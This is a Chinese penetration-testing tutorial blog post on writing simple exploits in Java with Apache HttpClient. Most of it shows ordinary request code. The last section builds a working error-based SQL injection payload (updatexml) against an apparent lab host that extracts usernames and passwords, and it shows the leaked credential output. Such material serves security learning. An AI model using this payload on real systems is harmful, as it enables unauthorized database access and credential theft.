moonsec
大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,编写一个简单的exp,过程就是一个简单的http发包请求,响应过来的内容,再进处理即可。
1HttpClient简介
HttpClient 是 Apache Jakarta Common 下的子项目,用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。HttpClient 已经应用在很多的项目中,比如 Apache Jakarta 上很著名的另外两个开源项目 Cactus 和 HTMLUnit 都使用了 HttpClient。
HttpClient 相比传统 JDK 自带的 URLConnection,增加了易用性和灵活性,它不仅是客户端发送 HTTP 请求变得容易,而且也方便了开发人员测试接口(基于 HTTP 协议的),即提高了开发的效率,也方便提高代码的健壮性。因此熟练掌握 HttpClient 是很重要的必修内容,掌握 HttpClient 后,相信对于 HTTP 协议的了解会更加深入。
2Apache HttpClient 特性
基于标准、纯净的 Java 语言。实现了 HTTP 1.0 和 HTTP 1.1
以可扩展的面向对象的结构实现了 HTTP 全部的方法(GET, POST, PUT, DELETE, HEAD, OPTIONS, and TRACE)。
支持 HTTPS 协议。
通过 HTTP 代理建立透明的连接。
利用 CONNECT 方法通过 HTTP 代理建立隧道的 HTTPS 连接。
Basic, Digest, NTLMv1, NTLMv2, NTLM2 Session, SNPNEGO/Kerberos 认证方案。
插件式的自定义认证方案。
便携可靠的套接字工厂使它更容易的使用第三方解决方案。
连接管理器支持多线程应用。支持设置最大连接数,同时支持设置每个主机的最大连接数,发现并关闭过期的连接。
自动处理 Set-Cookie 中的 Cookie。
插件式的自定义 Cookie 策略。
Request 的输出流可以避免流中内容直接缓冲到 Socket 服务器。
Response 的输入流可以有效的从 Socket 服务器直接读取相应内容。
在 HTTP 1.0 和 HTTP 1.1 中利用 KeepAlive 保持持久连接。
直接获取服务器发送的 response code 和 headers。
设置连接超时的能力。
实验性的支持 HTTP 1.1 response caching。
源代码基于 Apache License 可免费获取。
3Apache HttpClient 使用流程
使用 HttpClient 发送请求、接收响应很简单,一般需要如下几步即可。
创建 HttpClient 对象。
创建请求方法的实例,并指定请求 URL。如果需要发送 GET 请求,创建 HttpGet 对象;如果需要发送 POST 请求,创建 HttpPost 对象。
如果需要发送请求参数,可调用 HttpGet、HttpPost 共同的 setParams(HttpParams params) 方法来添加请求参数;对于 HttpPost 对象而言,也可调用 setEntity(HttpEntity entity) 方法来设置请求参数。
调用 HttpClient 对象的 execute(HttpUriRequest request) 发送请求,该方法返回一个 HttpResponse。
调用 HttpResponse 的 getAllHeaders()、getHeaders(String name) 等方法可获取服务器的响应头;调用 HttpResponse 的 getEntity() 方法可获取 HttpEntity 对象,该对象包装了服务器的响应内容。程序可通过该对象获取服务器的响应内容。
释放连接。无论执行方法是否成功,都必须释放连接
4pom.xml
<dependencies>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.14</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.18</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.9</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.25</version>
</dependency>
</dependencies>
5GET带参数
package crawler;import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.utils.URIBuilder;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;import java.io.IOException;
import java.net.URISyntaxException;public class HttpGetParamTest {
public static void main(String[] args) throws Exception {
//创建 httpclinet对象CloseableHttpClient httpClinet = HttpClients.createDefault();
//创建 URLBuilder
URIBuilder uriBuilder = new URIBuilder("http://www.test01.com/new.php");
//设置参数
uriBuilder.setParameter("name","moonsec");
// 创建httpget对象 设置url访问
HttpGet httpGet = new HttpGet(uriBuilder.build());
System.out.println("发起请求的参数"+httpGet);
CloseableHttpResponse response=null;
//使用httpclinet发起请求 获取response
try {
response = httpClinet.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){ //获取状态码
HttpEntity entity = response.getEntity();//解析响应
String content = EntityUtils.toString(entity,"utf8");
System.out.println(content.length());
System.out.println(content);
}} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭 response
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
httpClinet.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
}
6POST带请求参数
package crawler;import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;public class HttpPostParamTest {
public static void main(String[] args) throws Exception {
//创建 httpclinet对象CloseableHttpClient httpClinet = HttpClients.createDefault();
// 创建httpget对象 设置url访问
HttpPost httpPost = new HttpPost("http://www.test01.com/new.php");
//声明List集合 封装表单中的数据
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("name","moonsec"));//创建表单中的Entity对象 第一个参数是封装好的表单数据,第二个是编码
UrlEncodedFormEntity formEntity = new UrlEncodedFormEntity(params,"utf8");//设置表单中Entity对象到post请求中
httpPost.setEntity(formEntity);CloseableHttpResponse response=null;
//使用httpclinet发起请求 获取response
try {
response = httpClinet.execute(httpPost);
if(response.getStatusLine().getStatusCode()==200){ //获取状态码
HttpEntity entity = response.getEntity();//解析响应
String content = EntityUtils.toString(entity,"utf8");
System.out.println(content.length());
System.out.println(content);
}} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭 response
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
httpClinet.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
}
7连接池
package crawler;import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.apache.http.util.EntityUtils;import java.io.IOException;
public class HttpClinetPoolTest {
public static void main(String[] args) {
//创建连接池管理器
PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
//设置连接数
cm.setMaxTotal(100);
//设置每个主机的最大连接数
cm.setDefaultMaxPerRoute(10);
//使用连接池管理器发起请求
doGet(cm);
doGet(cm);}
private static void doGet(PoolingHttpClientConnectionManager cm) {
//不是每次新建httpClient ,而是从连接池管理员获取HttpClinet对象中获取
CloseableHttpClient httpClient = HttpClients.custom().setConnectionManager(cm).build();
HttpGet httpGet = new HttpGet("http://www.test01.com/new.php");
CloseableHttpResponse response =null;
try {
response = httpClient.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){
String content = EntityUtils.toString(response.getEntity(), "utf8");
System.out.println(content);}
}catch (IOException e){
e.printStackTrace();
}finally {
if(response !=null){
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
}
//有连接池 不用用 httpClient.clone()操作
}}
}
8请求参数
package crawler;import org.apache.http.HttpEntity;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;import java.io.IOException;
public class HttpConfigTest {
public static void main(String[] args) {
//创建 httpclinet对象CloseableHttpClient httpClinet = HttpClients.createDefault();
// 创建httpget对象 设置url访问
HttpGet httpGet = new HttpGet("http://www.baidu.com");
CloseableHttpResponse response=null;
//配置请求信息
RequestConfig config = RequestConfig.custom().setConnectTimeout(1000) //创建链接最长的时间,单位是毫秒。
.setConnectionRequestTimeout(500) //设置获取链接的最长时间,单位是毫秒
.setSocketTimeout(10*1000) //设置数据传输的最长时间,单位是毫秒
.build();
//给请求设置请求信息
httpGet.setConfig(config);
//使用httpclinet发起请求 获取response
try {
response = httpClinet.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){ //获取状态码
HttpEntity entity = response.getEntity();//解析响应
String content = EntityUtils.toString(entity,"utf8");
System.out.println(content.length());
// System.out.println(content);
}} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭 response
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
httpClinet.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
}
9头信息
httpGet.addHeader 可以设置头信息
package crawler;import org.apache.http.HttpEntity;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;import java.io.IOException;
public class HttpConfigTest {
public static void main(String[] args) {
//创建 httpclinet对象CloseableHttpClient httpClinet = HttpClients.createDefault();
// 创建httpget对象 设置url访问
HttpGet httpGet = new HttpGet("http://www.test01.com/new.php");
httpGet.addHeader("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
CloseableHttpResponse response=null;
//配置请求信息
RequestConfig config = RequestConfig.custom().setConnectTimeout(1000) //创建链接最长的时间,单位是毫秒。
.setConnectionRequestTimeout(500) //设置获取链接的最长时间,单位是毫秒
.setSocketTimeout(10*1000) //设置数据传输的最长时间,单位是毫秒
.build();
//给请求设置请求信息
httpGet.setConfig(config);
//使用httpclinet发起请求 获取response
try {
response = httpClinet.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){ //获取状态码
HttpEntity entity = response.getEntity();//解析响应
String content = EntityUtils.toString(entity,"utf8");
System.out.println(content.length());
System.out.println(content);
}} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭 response
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
httpClinet.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
}
10编写工具类
package crawler;import org.apache.http.NameValuePair;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.client.utils.URIBuilder;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;public class HttpUtils {
private PoolingHttpClientConnectionManager cm;public HttpUtils() {
this.cm= new PoolingHttpClientConnectionManager();
//设置最大连接数
this.cm.setMaxTotal(100);
//设置每个主机的最大连接数
this.cm.setDefaultMaxPerRoute(10);
}public String doGet(String url,Map<String, String> queryMap) throws URISyntaxException {
//创建HttpClient对象
CloseableHttpClient httpClient = HttpClients.custom().setConnectionManager(this.cm).build();
//创建 HttpGet请求对象,设置url地址
URIBuilder uriBuilder = new URIBuilder(url);
//设置参数
for (Map.Entry<String, String> query : queryMap.entrySet()) {
uriBuilder.setParameter(query.getKey(), query.getValue());
}
// 创建httpget对象 设置url访问
HttpGet httpGet = new HttpGet(uriBuilder.build());
//设置请求信息
httpGet.setConfig(this.getConfig());
CloseableHttpResponse response=null;
//使用HttpClient发起请求,获取相应
try {
response = httpClient.execute(httpGet);
//解析响应 返回结果
if (response.getStatusLine().getStatusCode()==200){
//判断响应 不为空
if(response.getEntity()!=null){
String content = EntityUtils.toString(response.getEntity(), "utf8");
return content;}
}
} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭response
if(response !=null){
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
//返回空字符串
return null;}
//设置请求信息
private RequestConfig getConfig() {
RequestConfig config = RequestConfig.custom()
.setConnectTimeout(1000) //创建连接的最长时间
.setConnectionRequestTimeout(500)//获取连接的最长时间
.setSocketTimeout(10000)//数据传输的最长时间
.build();
return config;
}public String doPost(String url, Map<String, String> queryMap) {
//创建HttpClient对象
CloseableHttpClient httpClient = HttpClients.custom().setConnectionManager(this.cm).build();
//创建 HttpGet请求对象,设置url地址
HttpPost httpPost = new HttpPost(url);
//设置请求信息
httpPost.setConfig(this.getConfig());
List<NameValuePair> params = new ArrayList<NameValuePair>();
for (Map.Entry<String, String> query : queryMap.entrySet()) {
params.add(new BasicNameValuePair(query.getKey(),query.getValue()));
}
//创建表单中的Entity对象 第一个参数是封装好的表单数据,第二个是编码
UrlEncodedFormEntity formEntity = null;
try {
formEntity = new UrlEncodedFormEntity(params,"utf8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
//设置表单中Entity对象到post请求中
httpPost.setEntity(formEntity);CloseableHttpResponse response=null;
//使用HttpClient发起请求,获取相应
try {
response = httpClient.execute(httpPost);
//解析响应 返回结果
if (response.getStatusLine().getStatusCode()==200){
//判断响应 不为空
if(response.getEntity()!=null){
String content = EntityUtils.toString(response.getEntity(), "utf8");
return content;}
}
} catch (IOException e) {
e.printStackTrace();
}finally {
//关闭response
if(response !=null){
try {
response.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
//返回空字符串
return null;}
}
使用工具类访问网址 请求参数已经可以获取。
package crawler;import java.util.HashMap;
import java.util.Map;public class demo {
public static void main(String[] args) {
HttpUtils httpUtils = new HttpUtils();
Map<String, String> map = new HashMap<String, String>();
map.put("name","moonsec");
String s = httpUtils.doPost("http://www.test01.com/new.php",map);
System.out.println(s);}
}
11简单的SQL注入编写
package crawler;import java.net.URISyntaxException;
import java.util.HashMap;
import java.util.Map;public class demo {
public static void main(String[] args) throws URISyntaxException {
HttpUtils httpUtils = new HttpUtils();
Map<String, String> map = new HashMap<String, String>();
map.put("id","' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1) or '");
String s = httpUtils.doGet("http://www.test01.com/sql.php",map);
System.out.println(s);}
}
页面返回
select * from users where id='' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1) or ''<br>XPATH syntax error: '~#moonsec:123456#~'
准确截取指定字符串 使用关键#截取
String substring = s.substring(s.indexOf("#")+1, s.lastIndexOf("#"));
package crawler;import java.net.URISyntaxException;
import java.util.HashMap;
import java.util.Map;public class demo {
public static void main(String[] args) throws URISyntaxException {
HttpUtils httpUtils = new HttpUtils();Map<String, String> map = new HashMap<String, String>();
map.put("id","' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1) or '");
String s = httpUtils.doGet("http://www.test01.com/sql.php",map);
String substring = s.substring(s.indexOf("#")+1, s.lastIndexOf("#"));
System.out.println(substring);}
}
12关注公众号
长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术